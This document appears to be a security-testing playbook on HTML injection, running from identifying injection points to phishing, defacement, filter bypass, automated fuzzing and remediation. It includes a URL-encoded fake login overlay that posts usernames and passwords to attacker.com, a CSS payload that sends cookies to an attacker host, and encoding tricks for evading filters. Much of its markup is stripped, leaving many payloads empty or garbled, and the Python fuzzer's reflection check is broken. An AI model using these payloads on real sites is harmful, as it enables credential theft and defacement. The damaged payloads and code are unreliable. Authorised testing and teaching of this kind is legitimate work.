HTML Injection Testing

Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

Prerequisites

Required Tools

• Web browser with developer tools
• Burp Suite or OWASP ZAP
• Tamper Data or similar proxy
• cURL for testing payloads

Required Knowledge

• HTML fundamentals
• HTTP request/response structure
• Web application input handling
• Difference between HTML injection and XSS

Outputs and Deliverables

1. Vulnerability Report - Identified injection points
2. Exploitation Proof - Demonstrated content manipulation
3. Impact Assessment - Potential phishing and defacement risks
4. Remediation Guidance - Input validation recommendations

Core Workflow

Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

    Welcome, 



?name=Injected Content



    Welcome, Injected Content

Key differences from XSS:

• HTML injection: Only HTML tags are rendered
• XSS: JavaScript code is executed
• HTML injection is often stepping stone to XSS

Attack goals:

• Modify website appearance (defacement)
• Create fake login forms (phishing)
• Inject malicious links
• Display misleading content

Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page

Common vulnerable parameters:

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=

Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

Test Injection
Bold Text
Italic Text
Underlined Text
Red Text


Injected DIV
Injected paragraph




Line breaks


[Click Here](http://attacker.com)
[Legitimate Link](http://attacker.com)


![](http://attacker.com/image.png)
![](x)  

Testing workflow:

# Test basic injection
curl "http://target.com/search?q=Test"

# Check if HTML renders in response
curl -s "http://target.com/search?q=Bold" | grep -i "bold"

# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Phase 4: Types of HTML Injection

Stored HTML Injection

Payload persists in database:

Name: John Doe
Bio: 
     Site Under Maintenance
     Please login at [portal.company.com](http://attacker.com/login)

     


Great article!

    
    
    

Reflected GET Injection

Payload in URL parameters:

http://target.com/welcome?name=Welcome%20Admin


http://target.com/search?q=Your%20account%20has%20been%20compromised

Reflected POST Injection

Payload in POST data:

# POST injection test
curl -X POST -d "comment=Malicious Content" \
     http://target.com/submit

# Form field injection
curl -X POST -d "name=alert(1)&email=test@test.com" \
     http://target.com/register

URL-Based Injection

Inject into displayed URLs:

http://target.com/page/Injected


http://target.com/users//profile

Phase 5: Phishing Attack Construction

Create convincing phishing forms:

    Session Expired
    Your session has expired. Please log in again.

    
        Username:

        


        Password:

        


        
    




    input { background: url('http://attacker.com/log?data=') }


    
    
    Verify

URL-encoded phishing link:

http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E

Phase 6: Defacement Payloads

Website appearance manipulation:

    HACKED BY SECURITY TESTER



body{display:none}

    This site has been compromised



![](http://attacker.com/defaced.jpg)



    SECURITY VULNERABILITY DETECTED

Phase 7: Advanced Injection Techniques

CSS Injection

    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }



Content

Meta Tag Injection

Form Action Override

iframe Injection

Phase 8: Bypass Techniques

Evade basic filters:

Test
alert(1)


<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E


Split Tag


Null Byte


%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E


\u003ch1\u003eUnicode\u003c/h1\u003e


Hover me

Phase 9: Automated Testing

Using Burp Suite

1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections

Using OWASP ZAP

1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually

Custom Fuzzing Script

#!/usr/bin/env python3
import requests
import urllib.parse

target = "http://target.com/search"
param = "q"

payloads = [
    "Test",
    "Bold",
    "alert(1)",
    "",
    "Click",
    "Styled",
    "Moving",
    "",
]

for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"
    
    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "" in response.text or "" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")

Phase 10: Prevention and Remediation

Secure coding practices:

// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// PHP: Strip tags
echo strip_tags($user_input);

// PHP: Allow specific tags only
echo strip_tags($user_input, '');

# Python: HTML escape
from html import escape
safe_output = escape(user_input)

# Python Flask: Auto-escaping
{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)

// JavaScript: Text content (safe)
element.textContent = userInput;

// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!

// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

Server-side protections:

• Input validation (whitelist allowed characters)
• Output encoding (context-aware escaping)
• Content Security Policy (CSP) headers
• Web Application Firewall (WAF) rules

Quick Reference

Common Test Payloads

Payload	Purpose
Test	Basic rendering test
Bold	Simple formatting
[Link](evil.com)	Link injection
``	Image tag test
``	Style injection
``	Form hijacking

Injection Contexts

Context	Test Approach
URL parameter	?param=test
Form field	POST with HTML payload
Cookie value	Inject via document.cookie
HTTP header	Inject in Referer/User-Agent
File upload	HTML file with malicious content

Encoding Types

Type	Example
URL encoding	%3Ch1%3E = ``
HTML entities	<h1> = ``
Double encoding	%253C = <
Unicode	\u003c = <

Constraints and Limitations

Attack Limitations

• Modern browsers may sanitize some injections
• CSP can prevent inline styles and scripts
• WAFs may block common payloads
• Some applications escape output properly

Testing Considerations

• Distinguish between HTML injection and XSS
• Verify visual impact in browser
• Test in multiple browsers
• Check for stored vs reflected

Severity Assessment

• Lower severity than XSS (no script execution)
• Higher impact when combined with phishing
• Consider defacement/reputation damage
• Evaluate credential theft potential

Troubleshooting

Issue	Solutions
HTML not rendering	Check if output HTML-encoded; try encoding variations; verify HTML context
Payload stripped	Use encoding variations; try tag splitting; test null bytes; nested tags
XSS not working (HTML only)	JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects